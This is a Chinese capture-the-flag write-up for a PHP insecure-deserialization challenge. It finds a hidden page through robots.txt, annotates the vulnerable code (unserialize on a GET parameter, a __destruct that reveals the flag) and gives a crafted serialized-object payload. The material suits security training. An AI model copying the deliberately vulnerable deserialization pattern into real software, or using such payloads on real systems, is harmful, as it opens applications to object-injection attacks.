[SWPUCTF 2021 新生赛]ez_unserialize
题目在哪呢?查看源代码试试
User-agent: *
Disallow: 什么东西呢
发现disallow
Robots 协议(也称为爬虫协议、机器人协议等)的全称是 “网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可抓,哪些页面不能抓。
disallow就是爬虫不能搜索的所以我们去看看robots.txt
看到/cl45s.php,直接打开
接下来就是 php代码审计
<?php
error_reporting(0); #通过error_reporting屏蔽报错
show_source("cl45s.php"); #将c145s.php的代码显示到页面上
class wllm{ #定义了一个wllm类
public $admin; #公共变量admin
public $passwd; #公共变量passwd
public function __construct(){ #construct当类创建时调用
$this->admin ="user"; #指定admin的值为user
$this->passwd = "123456"; #指定passwd的值为123456
}
public function __destruct(){ #destruct当对象要销毁时调用
if($this->admin === "admin" && $this->passwd === "ctf"){ #if判断 admin的值是不是admin passwd的值是不是ctf
include("flag.php"); #include包含flag 当if判断成立时执行
echo $flag; #输出flag
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p']; #get方法获取p并赋值
unserialize($p); #对p进行反序列化
?>
简单构造一下(当然了 也可以手搓)
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$p = new wllm();
echo serialize($p);
p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
解释一下:
O:4:"wllm":2:
O就是object对象的意思,4代表着对象的函数名为4个字节
2表示对象中有俩个变量(不同魔法函数,结果不同)
{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
大括号里s代表string类型还有i是int型;
前者为变量 后者为变量的值